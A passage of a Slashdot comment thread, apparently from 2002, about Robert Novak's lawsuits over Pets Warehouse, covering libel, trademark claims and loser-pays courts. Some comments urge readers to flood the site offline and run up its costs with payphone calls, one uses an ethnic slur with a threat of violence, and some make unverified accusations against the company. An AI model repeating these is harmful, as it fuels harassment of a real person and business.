    1. MoneyT vs. Anonymous Coward, the charges, hurt feelings, libel and slander.
    2. FreeBSD, OpenBSD, NetBSD foundations, Wind River vs. The BSD is Dying Troll. the charges, hurt feelings, libel, slander.


    Today, the First Amendment will come under fire as BSD is dying and hurt feelings surely must be stopped, even if it costs us our free speech rights.
  332. Hmm... by sirfuzz · · Score: 1

    Hmm... I seem to remember a certain Descent 3 level named "Novak Corporate Prison"... Maybe that was a foreshadowing of today's events...

    Scary. :-P

  333. Bullied into stupidity? by Blue+Stone · · Score: 1

    "I bet he was teased in high school and wants to get back at all the bullies."

    That's something I'll never understand about people who do that sort of thing; if they want to "gat back at the bullies" why don't they go after the people who bullied them?

    It would only take a moment of thought to realise they're persuing innocents, instead of their persecutors.

    Yeah, I know, offtopic. Rate it as such if you like.

    --
    Corporation, n. An ingenious device for obtaining individual profit without individual responsibility. - Ambrose Bierce
  334. Re:this comment is libelous and so are others like by Anonymous Coward · · Score: 0

    yes you can say anything you want as long as it gets modded up as funny :)

  335. What a... erm.... nice gentleman... by Thai-Pan · · Score: 1

    Oh no, I love ferretstore.com. I'd call this guy a but I'd be afraid of getting myself sued too.

  336. petswarehouse.com is down, but why? by pclminion · · Score: 3, Interesting
    The site's been down since about 10 AM my time, give or take.

    Do you think this is due to the /. effect, or is it because of the UUNET/WorldCom debacle?

    At any rate, I wonder how much money it just cost him to have his site unreachable for basically an entire business day...

  337. Robert Novak: American Hero by Anonymous Coward · · Score: 0

    I'm sick and tired of all of these attacks on Robert Novak. Robert is just a man, a good man, a noble man.

    The only thing Robert Novak wanted was to be able to UPS people cats, dogs and other companions at a reasonable price. He had an excelent busness idea that could of changed the world. Unfortunatly, his business was the victim of a world campaign to stop him from making people happy.

    American history is littered with cases like this, I mean look at McCarthyism for example.

    Robert Novak is a true hero because he is able to stand up for his rights and fight back at the greedy, evil lobby that killed his company.

    I am proud to support Robert Novak. For more information, please visit my website!

  338. Re:this comment is libelous and so are others like by Anonymous Coward · · Score: 0

    Actually there is an exception to the "statement must be true" protection against libel/slander suits.

    If the slandered/libelled party is concidered a public figure AND the statments made are so outragously false that a reasonable person can see they are sarcastic, the statement is not conisidered slanderous/libellious.

    See "The People vs Larry Flynt" for particulars.

  339. judge-for-yourself? why, thankyou by boots@work · · Score: 1

    judge-for-yourself is amusingly lame. If you feel like you're not getting enough Weight Loss, Make Money Fast, and Net Detective offers in email, jfy is the perfect place to find them.

  340. Many of the defendants ARE individuals. by Gendou · · Score: 2

    Look at Lawsuit #1 and Docket #2.

    In the first lawsuit, everyone who was sued was an individual except for Actwin.com (host of the mailing list), which I think is a corporation.

    In the second lawsuit, a mix of individuals, organizations, and companies are sued, including "John Doe and Mary Roe", Mr. Novak's rather flaccid attempt to sue every person who has criticized his company anonymously. According to Mr. John Benn, lawyer for the defense, who is listed as a defendant THREE times in TWO lawsuits, says that the "John Doe & Mary Roe" thing has now legal standing whatsoever and there's no court provision for seeking damages from fictional persons. He could just as well have listed "Anonymous Coward" as a defendant (and he probably WILL) for all the good it'll do him.

  341. Slashdotted to hell. by Anonymous Coward · · Score: 0

    wget is a great program!

  342. You sure are a brilliant fucker. by Anonymous Coward · · Score: 0

    It's amazing how you found that link, seeing how it was the very first link in the fucking article.

  343. PetsWarehouse also buys puppies from puppy mills.. by Anonymous Coward · · Score: 0

    Bad customer service is one thing, selling dead plants is one thing, and abusing the legal system is one thing, but animal cruelty is something else entirely.

    PetsWarehouse's stores buy and sell puppies from "puppy mills", inhumane dog-breeding operations that are illegal in most states. The animals are kept in cruel, filthy, unhealthy conditions. Many of the puppies die, and the lucky ones tend to have social/mental problems due to growing up in a small box packed with otehr dogs, chronic health problems from the cramped conditions that will plauge them throughout life, etc. etc. etc.

    At one time, PetsWarehouse would even ship these puppy-mill puppies right to your door via UPS before UPS put a stop to it. Can you imagine: a living, breathing mammal confined in a tiny box, alone, frightened, confused, in total darkness, being thrown around and abused by minimum-wage highschool dropouts in brown suits?

    Dogs are mammals, with roughly the same set of emotions as any other mammal, including humans. They feel pain, anger, fear, loneliness, etc.

    It doesn't surprise me that a man who would be so cruel to puppies would be unethical to humans as well.

    Boycott PetsWarehouse. PLEASE!!!

  344. Actually, he has neither. by Gendou · · Score: 2

    The closest this man has ever come to a bar exam was when he cut class back in college to hang out at the local saloon. No, this is just his hobby, as he's stated in interviews.

    It's bad enough when lawyers do this, but when supposedly "normal" people start filing stupid lawsuits, it really makes Baby Jesus cry.

    Here's what the judge had to say to him:

    The parties are ordered to appear for a conference before the undersigned on June 12, 2002, at 10:00 a.m. to try and sort out the procedural morass that has developed in this action. The plaintiff should be prepared to explain why he has initiated a second action (CV-02-2978) involving many of the same defendants that he seeks to add in his motion to amend the complaint. Mr. Novak is reminded that, although the court will grant him some deference as a pro se litigant, he is expected to know and follow the rules of the court and to try to avoid the waste of judicial resources to the greatest extent possible.

    I think that the conference mentioned keeps getting pushed back... I'm not sure what the current status is. Visit the Compuserve forum if you want recent news.

    I hope that judge nails his ass to the wall...

  345. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  346. Uh, no duh... by BiOFH · · Score: 1

    ...as it says so right in the first line of the article...

    "New stuff has come to light... man..." - Jeff Labowski

    --
    - I am made of meat.
  347. HEY Novak you spik by AMNESIACX · · Score: 0

    Sue me muthaf^%#ER, I'm over here in Sydney, Australia. If I come to NY it won't be to defend a lawsuit, it will be to kick your fat immigrant ass.

    --
    "It's not just what you say, no it's mostly how you feel it." - Tim Buckley.
  348. That should be interesting by 0x0d0a · · Score: 2

    ...also named in the suit were Daetrin (address unknown), zoombat (address unknown), Anonymous Coward (address unknown), duck_prime (address unknown)...

    It'd make the DeCSS lawsuits look like nothing.

  349. google bomb him by CySurflex · · Score: 1

    If enough people post links with a description of petswarehouse linking to the other, friendly, petwarehouse.com. Then at least searching google for "petswarehouse" wouldn't point to him...

  350. Deceptive statements in Novak's docs. by StupidKatz · · Score: 1
    There's all sorts of "goodies" in that silly PDF.
    • 1) Claims trademark on "pets" and "warehouse" (Count II, #30)
    • 2) Claims the defendants personally monitor each link's rank (Count II, #31)
    • 3) Blatantly false statement about "sponsored links", claiming that
      • a) top ranked links are purchased and
      • b) that advertizements are not marked as such
      (Count II, #32)
    • 4) Another blatant lie (against Google, specifically): not a single competitor is listed in the first page of results for "pets warehouse" (Count II, #33)


    And of course, the Judgement section lists that asinine list that claims Novak owns every possible comination of the four words "pet", "pets", "warehouse", and "warehouses".

    I mean, this guy literally makes my head ache. Why must people be so useless?
  351. New signature! by 0x0d0a · · Score: 2

    Hmm. I do believe that you've provided an excellent signature possibility.

  352. The word is "garnishee" by Anonymous Coward · · Score: 0
    In legal writing, 'garnish' is used as the verb, but in regular use, 'garnishee' is preferred as both the noun (the person whose wages are being witheld) and as the verb (the act of witholding.) This per the American Heritage Dictionary:

    http://www.bartleby.com/61/77/G0047700.html

    and the Oxford English Dictionary, so it's no Americanism.

  353. Is that Capitalism? by F34RL3SS+L34D3R · · Score: 0

    1. Think up dumb idea
    2. ?!?!
    3. Profit

    Is that how it works? If things get any wierder, I'm moving to Canada.

    SIG for sale! Slightly used! Gets great mileage!

  354. Can you sue a phone book? by cryptor3 · · Score: 1

    In one part of the complaint filed, Novak is asserting that when one uses the keywords "Pets Warehouse" in these search engines, that the search engines are diluting his trademark by showing competitors' sites above his.

    I understand that this isn't exactly the main thrust of his lawsuit, but this argument is full of crap.

    The whole process is quite similar to what happens when you look something up in a phone book. You look for "pets warehouse" (or "pet warehouse") and what do you see? The phone numbers of the pet store you want, as well as a whole bunch of competitors. In fact, many of these competitors may buy ad space that make them show up bigger and before other pet stores.

    I also find it funny that he's complaining that the adwords will continue to damage his trademark irreparably, when he's doing a great job of that by himself.

  355. An anti-barratry website... by Xeroth · · Score: 1

    An anti-barratry website...

    www.overlawyered.com

  356. Keep in mind Google beat the Scientologists by rs79 · · Score: 1

    Google's 11 lawyers vs. Novak? I'm still thinking about this?

    --
    Need Mercedes parts ?
  357. Slashdot... The Ultimate DDOS attack! by The+Viking · · Score: 1

    Muuhhhaaaaa!

    >An error occured while loading >http://www.petswarehouse.com/:
    >
    >
    >Timeout on server
    >Timed out while waiting to connect to >www.petswarehouse.com

  358. No! by MechaStreisand · · Score: 1

    Off topic, I know, but I had to respond.

    Excuse me, sir? Melted the cup? I think not. If you are referring to the case of the 79 year old woman who sued McDonald's for burns, then granted, that was a justified lawsuit, but don't make stuff up. She spilled it on herself.

    --
    Disclaimer: IANAL. This post is, however, legal advice, and creates an attorney-client relationship.
    1. Re:No! by Kintanon · · Score: 2

      What I heard (admittedly second or third hand from a legal assistant) was that the coffee was hot enough to malform the plastic lid (Not the styrofoam cup itself which I initially stated, oops) so that it did not sit properly on the cup. That may or may not be true, but it was what I was told at the time.

      Kintanon

      --
      Check out JoshJitsu.info for Brazilian Ji
    2. Re:No! by MechaStreisand · · Score: 1

      My apologies, sir, for implying you had made it up.

      Incidentally, I agree with the rest of what you said. Everyone seems to believe this myth that it was a frivolous lawsuit without checking up on it for themselves.

      --
      Disclaimer: IANAL. This post is, however, legal advice, and creates an attorney-client relationship.
  359. He wouldn't try it in Europe by CaptainZapp · · Score: 1
    It's simple: You lose, you pay.

    This includes court costs, lawyers for the winning party and an amount set forth by the court for your inconvienence and troubles.

    This won't be astronomical figures, say in the 10-30K range. It makes suing for fun very uneconomical however.

    --
    ich bin der musikant

    mit taschenrechner in der hand

    kraftwerk

    1. Re:He wouldn't try it in Europe by Sj0 · · Score: 2

      It seems to me that those precautions only scare away individuals who simply cannot afford to lose. When the competition is spending millions of dollars on lawyers, how can anybody, no matter how right in a matter, afford the risk of losing thier life?

      --
      It's been a long time.
    2. Re:He wouldn't try it in Europe by Latent+IT · · Score: 2

      Take it even further. First of all, there's no reason why the company involved shouldn't be forced to pay you for your legal bills, and theirs. If they're going to spend a few million dollars to squash some guy in Arkansas, they should be prepared to pay him that ammount.

      Of course, for something like the Pets Warehouse case, this doesn't change much, since Novak is representing himself pro se. But I still think it's fair. It's really the way courts are 'meant to be', but modern society has drifted away from that. Two ordinary people trying to settle an injustice. Not 18 guys in suits, with another 45 back home generating stacks of paper.

      On the other hand, Dan was sued for $15,000,001. That's a huge ammount of money. The case was settled for $4,150. That should set off a red flag somewhere, and it should be someones job to investigate that. (Department of Justice, based on the name...) If a plaintiff believes that Fifteen million dollars worth of damage was done, why in the world would they settle for $4,150? And if they don't believe that $15 million worth of damage was done, wasn't the lawsuit bogus?

      In my origional post, where I dared him to sue me, I said things that are similar to what Dan said. I compared price and service. Both are verifiable, easily. If you want something interesting, go to the Better Business Bureau website, and click 'check company'. Enter Pets Warehouse. They're rated unsatisfactory . Excerpts below:

      Based on our files, this firm has an unsatisfactory record.

      Closed Complaints
      Total number of complaints processed by the BBB in last 36 months: 23
      Total number of complaints processed by the BBB in last 12 months: 4


      That Pet Place (That Fish Place) on the other hand, has this record with the BBB:

      Based on BBB files, this company has a satisfactory record with the Bureau. Any complaints processed by the Bureau in its three-year reporting period have been resolved. The number and type of complaints are not unusual for a company in this industry.

      Not exactly glowing praise, but the BBB only has three raitings, satisfactory, unsatisfactory, and updating. ;p And what about Drs. Foster & Smith?

      Based on BBB files, this company has a satisfactory record with the Bureau. Same story.

      Dan relates a tale how he ordered plants, and had to call six times to get yelled at. I ordered from That Pet Place, used the internet form, changed my mind, called their customer service, and was able to un-order a $90 item. The woman I talked to was sweet as pie, and they even asked me, since I'd selected federal express, if I'd like them to try to hurry the rest of the order so it could be shipped out today. If only other companies were so good.

      I'd document price right now, but it seems that petswarehouse.com isn't responding. Anyway, the point is, how in the world can you sue people for this?!? I'd love to go off on a rant and yell and scream about how the system is 'broken', but I really can't think of any checks you could put in that couldn't be abused in the other direction. If you've read the Rainmaker, you can already picture it - you have a son, dying of cancer, and the insurance company defaults on the coverage. You need $200k for surgery and hospital bills. You sue for $15,000,000 for punitive damages, to 'fine' them in essence, so they think twice before screwing the next person. They offer to settle for $225k.

      Your son is dying. What do you do? (It's a great book, by the way, and I don't think I ruined it for you.)

      It's all so frigging complicated. I just can't find it in me to think of a better way to do things, though. I would really appreciate any suggestions, though. I think I'll start using my slashdot journal today.

    3. Re:He wouldn't try it in Europe by Sj0 · · Score: 2

      I think a good start would be having different rules for corporations who enter a lawsuit with an individual than corp vs. corp or individual vs. individual. For example, 15 million is a proverbial drop in the bucket for someone like Microsoft, but to just about any individual(a large percentage at least), it is more money than they will make in a decade of hard work. Strict guidelines on what can be considered abuse of the system, especially in terms of things like SLAPP suits. Secondly, rather than having someone foot the enormous costs involved, just set a limit on how much money you can spend on legal counsel. I think a few thousand dollars(no more than ten) would be reasonable. This should stop current cases where it's just a matter of who has more money. Finally, the appeals process should be greatly limited or sped up to stop companies from doing what Microsoft did(the "bide my time until a gullable retard gets into office" tactic).

      I'm sure there are dozens of good ideas out there, it's just a matter of culling the ones which could cause harm(there's some risk in speeding up the appeals process).

      --
      It's been a long time.
  360. www.petswarehousesucks.com by h4mm3r · · Score: 1

    After reading the story I tried www.petswarehousesucks.com for the hell of it. it actually exists!!! Get their hitcount to show that we, as a community, think that petswarehouse is out of line.

  361. Perjury? by Quila · · Score: 2

    I've been following this case for a long time, and the guy is definitely a nuisance, and even the judge appears to be tiring of him.

    He claims theferretstore.com was using Pets Warehouse meta tags in its site. It isn't now. Unless he can prove they were, he should get slapped with whatever punitive sanctions the court can do.

    Good news here at least. Google is a big company, and after they win this lawsuit they can charge their six to seven digit attorney's fees to this guy! They'll own Pets Warehouse.

  362. stuff you fill rustholes with by DABANSHEE · · Score: 2

    Comes in a tin, & you get a tube of setting/heating agent, which you mix in with it, then you fill up the rusthole with it.

    AKA filler.

    Mind you with old bombs I prefer doing a quick weld job. Where you just weld a plate in place of the rust & then brushpaint fish-oil over it, then after a day or 2 brushpaint red oxide primer over it. All without even rubbing back/smoothing out the weld ribbing.

    You see if you weld it out, the rego inspectors have to OK it no matter how bad it looks. Where as when you bog up rust you have to do a visually perfect job so the rego inspecters don't cotton on.

  363. Poor service... by Bartmoss · · Score: 1

    ...well, the site is down, so that pretty much amounts to NO service. :)

  364. Very Good Idea! by Quila · · Score: 2

    If even 1/10th of active slashdotters posted something, the moderators would be overwhelmed.

  365. Another Trademark by Quila · · Score: 2

    If he owns "pet" and "warehouse" then he's infringing on another trademark Pet Warehouse. Pet Warehouse (not plural) has been recently purchased by Drs. Foster & Smith, a great place to shop for pet supplies, including medicines, vacines, food, books, etc., for almost any type of animal.

  366. Original suit not about opinion by Quila · · Score: 2

    It was about facts, complaints about poor service and possibly fraudulent billing with respect to shipping charges IIRC.

    1. Re:Original suit not about opinion by dh003i · · Score: 2

      Complaints about poor service do not constitute statements of fact; they constitute opinions.

  367. Please be careful! by Quila · · Score: 2

    "Pets Warehouse" BAD
    "Pet Warehouse" GOOD

    Pet Warehouse should sue Novak for the damage he's doing to their name simply by association.

  368. awwww, pooor baby by Quila · · Score: 2

    Nobody like or link to your site, making your listing on Google way far down...

    But wait! His site is #1 so why is he complaining? Probably because most of the following hits are about his BS lawsuits.

  369. I keep reading it and it keeps getting better! by Quila · · Score: 2

    "html is the programming code behind the actual pages being displayed on the web"

    False. And next we have:

    "...be enjoined from using or selling PETS WAREHOUSE (however spelled...whether...singular or plural... as one word or two, whether used alone or in combination..."

    He just said he not only has the right to competitor Pet Warehouse (singular or plural), but also to any business with the word "pet" or "warehouse" in it.

  370. But there is another point by aepervius · · Score: 1

    In europe most monetary damage are VERY LOW. Seconmd there is an error in your count. So in your case this would be more I can sue for 2.5$ and have 5$ of cost, and maybe pay 10$ for the cost of both party , to only win 2.5$ (the other party REIMBURSE your 5$ of cost, so this is not something you win. You gave it and have facture to justify it. I have the feeling that in your count you counted twice the 5$ reimbursement, one as a win, one as a reimbursement thus you 15$ at the end... it should be only 10$ not 15$.).

    So net result of the suit : You either win 2.5$ if you are right, loose 10$ if this is frivolious.

    The first poster is correct, This is probably why there isn't much friolious suit, and when they are people get burned.

    --
    C. Sagan : A demon haunted world:
    http://www.amazon.com/gp/product/0345409469/
    visit randi.org
    1. Re:But there is another point by eunos94 · · Score: 1

      Well, I am having difficulty following your example. But let me further elaborate on mine, maybe that will clear things up.

      If you are suing and could have won $10 with court costs of $5, in a normal case you would see $5 of return.

      $10 (awards) - $5 (costs) = $5 (final)

      If you lose the case you are just out the $5 for your court costs.

      So, in this case.
      Win = + $5
      Lose = - $5

      In the case of "loser pays" court cases, the costs are still $5 to you. We assume that the costs are $5 to your opponent for simplicity. We then assume that you could still win $10 for damages. You could win $10 and also $5 for your court costs, but you would lose $5 for your costs. For a net result of $10 gain.

      $10 (award) - $5 (court costs) + $5 (loser reimbursement) = $10 (end)

      Now if you lose, you will be out $5 for court costs and out $5 for their court cost.

      - $5 (court costs) - $5 (reimbursing winner) = - $10 (end)

      So in loser pays:
      win = $10
      lose = - $10

      However, if I am reading your example correctly, you speak of only winning $2.5 but having costs of $5. In that case, you wouldn't sue, because if you won, you would lose money. Not economically a good idea.

      One thing to note, this is a "loser pays" system, not a punitive system for frivolous lawsuits. A frivolous lawsuit system would entail a lot more to it.

      Hope that helps.

      P.S. After rereading my post, I did find a small error, sorry if that confused things.

  371. Re:IMPORTANT by Vinum · · Score: 1

    I am posting this near the top because this is a truely brillant idea that will help the entire net as a whole.

    Someone who has epilepsy should sue this guy. They have real legal ground to stand on. They need to say that they have their browser specifically configured so that images will not load to avoid seeing blinking patterns that cause them seizures. Unfortuantly when they visited petswarehouse to go buy something the blinking lights gave them a seizure.

    If you don't think this has legal grounds, think again. I remember Super Mario Brothers 3 to be the first video game I purchased that had the huge warning on the back page about the dangers of video games to people with seizures. In fact, with that specific game they even had a huge yellow piece of paper with it that further emphazied this point.

    The guy should of put a warning before his page loaded about the blinking links. Blinking things are dangerious. Get rid of them.

  372. Novak should hire an advocate... by stud9920 · · Score: 1

    like Bernard Shifman. He's probably jobless anyway.

  373. But did he get the money? by leuk_he · · Score: 1

    please please tell me the outcome of this story. I hate the open ending.

    I need to know before i throw myself before a truck.

  374. Re:slander (OT) ever heard of fair use. by Anonymous Coward · · Score: 0

    Stalking? Typing some "vulgar" words that are posted onto /. that you don't have to read is stalking? You sound just as lame as this Pets fuck.

  375. I know this is late, but shows the idiocy of Novak by Anonymous Coward · · Score: 0

    Check his return policy:

    http://web.archive.org/web/20011024164504/petswa re house.com/Cserv/returns.htm

    "There is no need to send defective merchandise back to the manufacturer and wait for weeks while they process it. We will immediately replace a defective product and act as your liason with the manufacturer in this instance to get the best possible result from your merchandise return. No returns will be accepted on livestock except as otherwise stated and there after agreed. Petwarehouse.com reserves the right to choose to authorize product returns for store credit beyond 30 days from the ship date. If the product is accepted after 30 days, credit will be issued toward FUTURE PURCHASES ONLY. Refunds are not an option."

    I wonder whether Pet_S_warehouse.com's competitors know that they have the decision making in Pet_S_warehouse.com's return policy?

  376. QUICKLY ... they're no longer Slashdotted!!! by Anonymous Coward · · Score: 0

    Their site is back up!!! Take it back down again quickly!!!! C'mon, Slashdot... PULL TOGETHER!!!

  377. ALERT!! Pets Warehouse is no longer Slashdotted!! by Anonymous Coward · · Score: 0

    Pets Warehouse has recovered from the Slashdot Effect and is back up. Click the link, click the link, click the link! Don't let Robert Novak, Slashdot enemy-of-the-month, earn one more dollar from his website!!!

    Also, e-mail them and tell them what you think! Call them at 1-800-991-3299 from a payphone: they'll have to pay for the 1-800 call *and* for the payphone usage!

    Show them the POWER of Slashdot!!!

  378. Redundant by mekkab · · Score: 2

    LINUX SUXXORS, MACs ARe SOOOO Much better becuase mac users are smarter and sooo much better looking! (never mind that my powermac 7200 runs linux ppc...)

    and redundant:

    LINUX SUXXORS, MACs ARe SOOOO Much better becuase mac users are smarter and sooo much better looking! (never mind that my powermac 7200 runs linux ppc...)

    also redundant- MODERATORS SUXXORS MY COXXORS!

    --
    In the future, I would want to not be isolated from my friends in the Space Station.
  379. It's dead jim by Felinoid · · Score: 2

    I don't mean slashdotted eather.
    The bad mouthing and venem is probably containned to the mail list but now that he's gone out and sued it and Google then we all know somethings up.

    Soon he'll be out of business and he'll have to sell those domains he took.

    Whats sad is some people have caved to his demands.

    --
    I don't actually exist.
    1. Re:It's dead jim by Anonymous Coward · · Score: 0

      > Whats sad is some people have caved to his demands.

      Hey! I know these people, and I'm very proud of them. They had NO CHOICE. The reality is that defending themselves against this stupid lawsuit costs money, lots of money. The defense fund only covered a portion of it, yeah, NY lawyers are pricey. They're not a bunch of rich computer geeks (meant as a compliment to this crowd). They have other more pressing financial priorities, like paying the mortgage, keeping the kids fed and clothed, paying taxes, you know, everday life stuff like that. If they decided to stay and fight, Novak would have bled them dry. Sure, justice would eventually come, several years later. By then it's too late. So give them a break will ya? They had NO CHOICE. And the creep won. How's that for our legal system?

  380. Slashdot sued next by Seves · · Score: 1

    Now you've done it. /. is next. Better delete the thread.

    --
    /. .\
  381. Please reply to this post. by Anonymous Coward · · Score: 0

    I want this story to get 1000 comments, and it doesn't have far to go. Please reply to this.

    Oh, and it looks like Pets Warehouse is Slashdotted again. Click the link a few more times just to be sure.

    1. Re:Please reply to this post. by AMNESIACX · · Score: 0

      Getting close to that 1000 mark. What's the record on /. so far? btw, Novak is a dipshit.

      --
      "It's not just what you say, no it's mostly how you feel it." - Tim Buckley.
    2. Re:Please reply to this post. by Anonymous Coward · · Score: 0

      Reply.

  382. Sue me for my free speaking? by wessman · · Score: 1

    This is a perfect example of why the federal and state(s) court system needs to be revamped in a major way. It is too damn easy to sue somebody today. Where is the 1st Amendment in these PetsWarehouse lawsuits? Freedom of speech. A customer is allowed to tell other consumers about a company's poor service or weak products. And mailing lists and private website forums are discussion areas, not news media or corporate competitors, so a customer should be allowed to speak his/her mind. How the hell does Consumer Reports magazine/website get away with rating products? You don't see an automobile manufacturer suing the Insurance Institute for sharing their test ratings (with some cars getting the worst rating) on NBC's Dateline television in front of millions of viewers. This Robert Novak needs to be stopped by a judge.

    Hey, Mr. Novak, if your customers say your Pets Warehouse sucks, it must suck, or at least you must be doing something wrong. I certainly won't be buying products from you for my cat, and I would certainly recommend to everybody personally or in a public forum NOT to even visit your store.

    Novak's company e-mail is below, so feel free to make use of it, as I'm sure Slashdot readers are already doing, if the infamous "Slashdot effect" hasn't stopped their servers already!!!

    Now, what's next? Sue me for my free speaking? Sue Zeropaid and/or Slashdot for posting the same consumer info and comments that Google linked to? What a bunch of dog crap forced on unfortunate individuals buy some loser with an obvious Napolean complex and complete inability to accept responsibility for his failed business actions.

    http://www.zeropaid.com/bbs/showthread.php?s=&th re adid=3117

    1. Re:Sue me for my free speaking? by Matt_in_NH · · Score: 1

      > Where is the 1st Amendment in these PetsWarehouse lawsuits?

      The 1st Amendment doesn't apply here. It prevents the government from limiting your free speech (Congress shall make no law abridging the freedom of speech, religion, etc...). It says nothing about a private citizen attempting to limit the free speech of another, through frivolous lawsuits, or any other means.

      Is it wrong? You bet!
      Is it unconstitutional? Unfortunately, no.

  383. Daily Slashdotting by Anonymous Coward · · Score: 0

    The website is (still) back up. Maybe it ought to take a ride on the front page every day so its server can get its daily dose of slashdotting.

    Maybe slashdot readers should add it as their home/start page so its a no brainer to 'dot them.

  384. It can be both by Quila · · Score: 2

    If you got this nasty feeling you weren't being treated right, that's opinion.

    A company making repeated false statements about shipping time (several instances of "Your order will be shipped Monday" without even taking the caller's name, and not even shipping then), multiple documented cases of billing for more than the double the quoted shipping price (when confronted, they say "Too bad."), and reneging on advertised discounts ("We offered 20% off? Well we're not doing it now.") is not opinion.

    I've read the original posts, and these people were documenting experiences with the company. It's not opinion; It's fact.

    There's a reason Pets Warehouse ranks poorly with the NY BBB.

  385. Please reply to this. by Anonymous Coward · · Score: 0

    Get this story to 1000.

    1. Re:Please reply to this. by Anonymous Coward · · Score: 0

      Ping.

    2. Re:Please reply to this. by Anonymous Coward · · Score: 0

      Ni!

    3. Re:Please reply to this. by Anonymous Coward · · Score: 0

      I like girls.

    4. Re:Please reply to this. by Anonymous Coward · · Score: 0

      I like grills.

    5. Re:Please reply to this. by Anonymous Coward · · Score: 0

      CUNTRAG.

    6. Re:Please reply to this. by Anonymous Coward · · Score: 0

      Hello.

    7. Re:Please reply to this. by Anonymous Coward · · Score: 0

      I smell poop.

    8. Re:Please reply to this. by Anonymous Coward · · Score: 0

      I smell poop. POOP!

    9. Re:Please reply to this. by Anonymous Coward · · Score: 0

      Massive poop.

  386. Poop. by Anonymous Coward · · Score: 0

    This is poop.

    1. Re:Poop. by Anonymous Coward · · Score: 0

      Massive throbbing poop.

    2. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, on my aunts.

    3. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, angry rants.

    4. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, now let's dance.

    5. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, comes from France.

    6. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, take a chance.

    7. Re:Poop. by Anonymous Coward · · Score: 0

      Smelly poop, at it I'll glance.

  387. Cock. by Anonymous Coward · · Score: 0

    Poopcock.

    1. Re:Cock. by Anonymous Coward · · Score: 0

      Asscock.

    2. Re:Cock. by Anonymous Coward · · Score: 0

      Cockass.

    3. Re:Cock. by Anonymous Coward · · Score: 0

      Peniswart.

    4. Re:Cock. by Anonymous Coward · · Score: 0

      Penisvagina.

    5. Re:Cock. by Anonymous Coward · · Score: 0

      Mangina.

    6. Re:Cock. by Anonymous Coward · · Score: 0

      Eatpoop.

    7. Re:Cock. by Anonymous Coward · · Score: 0

      Tits.

  388. Cock. by Anonymous Coward · · Score: 0

    You know, penis.

  389. Cunt. by Anonymous Coward · · Score: 0

    You know, vagina.

  390. Tit. by Anonymous Coward · · Score: 0

    You know, mammary gland.

  391. Happy puppy. by Anonymous Coward · · Score: 0

    Y'know, bestiality.

  392. Sodomy. by Anonymous Coward · · Score: 0

    Y'know, buttrape.

  393. Sodomy. by Anonymous Coward · · Score: 0

    Y'know, anal faggotry.

  394. Pokey the Penguin. by Anonymous Coward · · Score: 0

    Y'know, GUN!!

  395. Re:No, its O.K by wirelessbuzzers · · Score: 1

    Let's see if I get sued for modding this comment as informative. I won't sue you, but I will metamod you "unfair."

    --
    I hereby place the above post in the public domain.
  396. McDonalds and being your own counsel by Anonymous Coward · · Score: 0

    I don't know how well publicised the McLibel case was in the US, but is worth reading about:
    http://www.mcspotlight.org/case/trial/stor y.html

    It shows that people can defend themselves in court against a megacorp, but it did help that they had a real case. Not just venal self-interest, as seems to be the basis of the suits discussed in this thread.

  397. Poop. by Anonymous Coward · · Score: 0

    Smelly poop, in my pants.

  398. Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

    Stinky poop, smells like shit.

    1. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop, I like it.

    2. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop, you're a Brit.

    3. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop, you display such wit.

    4. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop; give me a chit.

    5. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop; you display great wit.

    6. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop, you're a bloody 'git.

    7. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop; please don't quit.

    8. Re:Change of subject (was Re:Poop.) by Anonymous Coward · · Score: 0

      Stinky poop; it's legit.